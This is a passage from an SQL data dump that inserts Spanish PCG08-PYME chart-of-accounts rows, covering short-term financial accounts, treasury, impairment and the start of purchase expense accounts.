financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4360,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','509',4354,'Valores negociables amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4361,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5090',4360,'Obligaciones y bonos amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4362,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5095',4360,'Otros valores negociables amortizados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4363,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','51',4005,'Deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4364,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','510',4363,'Deudas a corto plazo con entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4365,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5103',4364,'Deudas a corto plazo con entidades de crédito empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4366,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5104',4364,'Deudas a corto plazo con entidades de crédito empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4367,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5105',4364,'Deudas a corto plazo con otras entidades de crédito vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4368,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','511',4363,'Proveedores de inmovilizado a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4369,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5113',4368,'Proveedores de inmovilizado a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4370,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5114',4368,'Proveedores de inmovilizado a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4371,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5115',4368,'Proveedores de inmovilizado a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4372,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','512',4363,'Acreedores por arrendamiento financiero a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4373,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5123',4372,'Acreedores por arrendamiento financiero a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4374,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5124',4372,'Acreedores por arrendamiento financiero a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4375,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5125',4372,'Acreedores por arrendamiento financiero a corto plazo otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4376,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','513',4363,'Otras deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4377,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5133',4376,'Otras deudas a corto plazo con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4378,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5134',4376,'Otras deudas a corto plazo con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4379,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5135',4376,'Otras deudas a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4380,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','514',4363,'Intereses a corto plazo con partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4381,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5143',4380,'Intereses a corto plazo empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4382,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5144',4380,'Intereses a corto plazo empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4383,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5145',4380,'Intereses deudas a corto plazo partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4384,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','52',4005,'Deudas a corto plazo por préstamos recibidos y otros conceptos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4385,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','520',4384,'Deudas a corto plazo con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4386,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5200',4385,'Préstamos a corto plazo de entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4387,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5201',4385,'Deudas a corto plazo por crédito dispuesto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4388,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5208',4385,'Deudas por efectos descontados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4389,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5209',4385,'Deudas por operaciones de factoring',NULL,0,NULL,NULL,1,0,NULL,NULL),(4390,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','521',4384,'Deudas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4391,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','522',4384,'Deudas a corto plazo transformables en subvenciones donaciones y legados',NULL,0,NULL,NULL,1,0,NULL,NULL),(4392,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','523',4384,'Proveedores de inmovilizado a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4393,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','526',4384,'Dividendo activo a pagar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4394,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','527',4384,'Intereses a corto plazo de deudas con entidades de crédito',NULL,0,NULL,NULL,1,0,NULL,NULL),(4395,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','528',4384,'Intereses a corto plazo de deudas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4396,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','529',4384,'Provisiones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4397,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5291',4396,'Provisión a corto plazo para impuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4398,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5292',4396,'Provisión a corto plazo para otras responsabilidades',NULL,0,NULL,NULL,1,0,NULL,NULL),(4399,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5293',4396,'Provisión a corto plazo por desmantelamiento retiro o rehabilitación del inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4400,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5295',4396,'Provisión a corto plazo para actuaciones medioambientales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4401,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','53',4005,'Inversiones financieras a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4402,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','530',4401,'Participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4403,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5303',4402,'Participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4404,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5304',4402,'Participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4405,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5305',4402,'Participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4406,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','531',4401,'Valores representativos de deuda a corto plazo de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4407,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5313',4406,'Valores representativos de deuda a corto plazo de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4408,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5314',4406,'Valores representativos de deuda a corto plazo de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4409,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5315',4406,'Valores representativos de deuda a corto plazo de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4410,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','532',4401,'Créditos a corto plazo a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4411,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5323',4410,'Créditos a corto plazo a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4412,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5324',4410,'Créditos a corto plazo a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4413,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5325',4410,'Créditos a corto plazo a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4414,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','533',4401,'Intereses a corto plazo de valores representativos de deuda de partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4415,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5333',4414,'Intereses a corto plazo de valores representativos de deuda en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4416,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5334',4414,'Intereses a corto plazo de valores representativos de deuda en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4417,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5335',4414,'Intereses a corto plazo de valores representativos de deuda en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4418,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','534',4401,'Intereses a corto plazo de créditos a partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4419,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5343',4418,'Intereses a corto plazo de créditos a empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4420,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5344',4418,'Intereses a corto plazo de créditos a empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4421,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5345',4418,'Intereses a corto plazo de créditos a otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4422,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','535',4401,'Dividendo a cobrar de inversiones financieras en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4423,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5353',4422,'Dividendo a cobrar de empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4424,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5354',4422,'Dividendo a cobrar de empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4425,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5355',4422,'Dividendo a cobrar de otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4426,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','539',4401,'Desembolsos pendientes sobre participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4427,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5393',4426,'Desembolsos pendientes sobre participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4428,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5394',4426,'Desembolsos pendientes sobre participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4429,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5395',4426,'Desembolsos pendientes sobre participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4430,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','54',4005,'Otras inversiones financieras a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4431,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','540',4430,'Inversiones financieras a corto plazo en instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4432,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','541',4430,'Valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4433,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','542',4430,'Créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4434,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','543',4430,'Créditos a corto plazo por enejenación de inmovilizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4435,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','544',4430,'Créditos a corto plazo al personal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4436,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','545',4430,'Dividendo a cobrar',NULL,0,NULL,NULL,1,0,NULL,NULL),(4437,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','546',4430,'Intereses a corto plazo de valores reprsentativos de deuda',NULL,0,NULL,NULL,1,0,NULL,NULL),(4438,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','547',4430,'Intereses a corto plazo de créditos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4439,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','548',4430,'Imposiciones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4440,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','549',4430,'Desembolsos pendientes sobre participaciones en el patrimonio neto a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4441,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','55',4005,'Otras cuentas no bancarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4442,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','550',4441,'Titular de la explotación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4443,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','551',4441,'Cuenta corriente con socios y administradores',NULL,0,NULL,NULL,1,0,NULL,NULL),(4444,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','552',4441,'Cuenta corriente otras personas y entidades vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4445,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5523',4444,'Cuenta corriente con empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4446,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5524',4444,'Cuenta corriente con empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4447,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5525',4444,'Cuenta corriente con otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4448,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','554',4441,'Cuenta corriente con uniones temporales de empresas y comunidades de bienes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4449,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','555',4441,'Partidas pendientes de aplicación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4450,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','556',4441,'Desembolsos exigidos sobre participaciones en el patrimonio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4451,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5563',4450,'Desembolsos exigidos sobre participaciones empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4452,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5564',4450,'Desembolsos exigidos sobre participaciones empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4453,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5565',4450,'Desembolsos exigidos sobre participaciones otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4454,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5566',4450,'Desembolsos exigidos sobre participaciones otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4455,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','557',4441,'Dividendo activo a cuenta',NULL,0,NULL,NULL,1,0,NULL,NULL),(4456,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','558',4441,'Socios por desembolsos exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4457,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5580',4456,'Socios por desembolsos exigidos sobre acciones o participaciones ordinarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4458,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5585',4456,'Socios por desembolsos exigidos sobre acciones o participaciones consideradas como pasivos financieros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4459,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','559',4441,'Derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4460,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5590',4459,'Activos por derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4461,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5595',4459,'Pasivos por derivados financieros a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4462,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','56',4005,'Finanzas y depósitos recibidos y constituidos a corto plazo y ajustes por periodificación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4463,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','560',4462,'Finanzas recibidas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4464,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','561',4462,'Depósitos recibidos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4465,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','565',4462,'Finanzas constituidas a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4466,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','566',4462,'Depósitos constituidos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4467,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','567',4462,'Intereses pagados por anticipado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4468,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','568',4462,'Intereses cobrados a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4469,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','57',4005,'Tesorería',NULL,0,NULL,NULL,1,0,NULL,NULL),(4470,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','570',4469,'Caja euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4471,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','571',4469,'Caja moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4472,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','572',4469,'Bancos e instituciones de crédito cc vista euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4473,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','573',4469,'Bancos e instituciones de crédito cc vista moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4474,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','574',4469,'Bancos e instituciones de crédito cuentas de ahorro euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4475,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','575',4469,'Bancos e instituciones de crédito cuentas de ahorro moneda extranjera',NULL,0,NULL,NULL,1,0,NULL,NULL),(4476,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','576',4469,'Inversiones a corto plazo de gran liquidez',NULL,0,NULL,NULL,1,0,NULL,NULL),(4477,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','59',4005,'Deterioro del valor de las inversiones financieras a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4478,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','593',4477,'Deterioro del valor de participaciones a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4479,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5933',4478,'Deterioro del valor de participaciones a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4480,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5934',4478,'Deterioro del valor de participaciones a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4481,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5935',4478,'Deterioro del valor de participaciones a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4482,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','594',4477,'Deterioro del valor de valores representativos de deuda a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4483,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5943',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4484,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5944',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4485,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5945',4482,'Deterioro del valor de valores representativos de deuda a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4486,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','595',4477,'Deterioro del valor de créditos a corto plazo en partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4487,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5953',4486,'Deterioro del valor de créditos a corto plazo en empresas del grupo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4488,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5954',4486,'Deterioro del valor de créditos a corto plazo en empresas asociadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4489,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','5955',4486,'Deterioro del valor de créditos a corto plazo en otras partes vinculadas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4490,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','596',4477,'Deterioro del valor de participaciones a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4491,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','597',4477,'Deterioro del valor de valores representativos de deuda a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4492,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','CUENTAS_FINANCIERAS','598',4477,'Deterioro de valor de créditos a corto plazo',NULL,0,NULL,NULL,1,0,NULL,NULL),(4493,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','60',4006,'Compras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4494,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','600',4493,'Compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4495,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','601',4493,'Compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4496,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','602',4493,'Compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4497,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','606',4493,'Descuentos sobre compras por pronto pago',NULL,0,NULL,NULL,1,0,NULL,NULL),(4498,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6060',4497,'Descuentos sobre compras por pronto pago de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4499,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6061',4497,'Descuentos sobre compras por pronto pago de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4500,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6062',4497,'Descuentos sobre compras por pronto pago de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4501,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','607',4493,'Trabajos realizados por otras empresas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4502,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','608',4493,'Devoluciones de compras y operaciones similares',NULL,0,NULL,NULL,1,0,NULL,NULL),(4503,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6080',4502,'Devoluciones de compras de mercaderías',NULL,0,NULL,NULL,1,0,NULL,NULL),(4504,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6081',4502,'Devoluciones de compras de materias primas',NULL,0,NULL,NULL,1,0,NULL,NULL),(4505,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6082',4502,'Devoluciones de compras de otros aprovisionamientos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4506,1,NULL,'2018-01-19 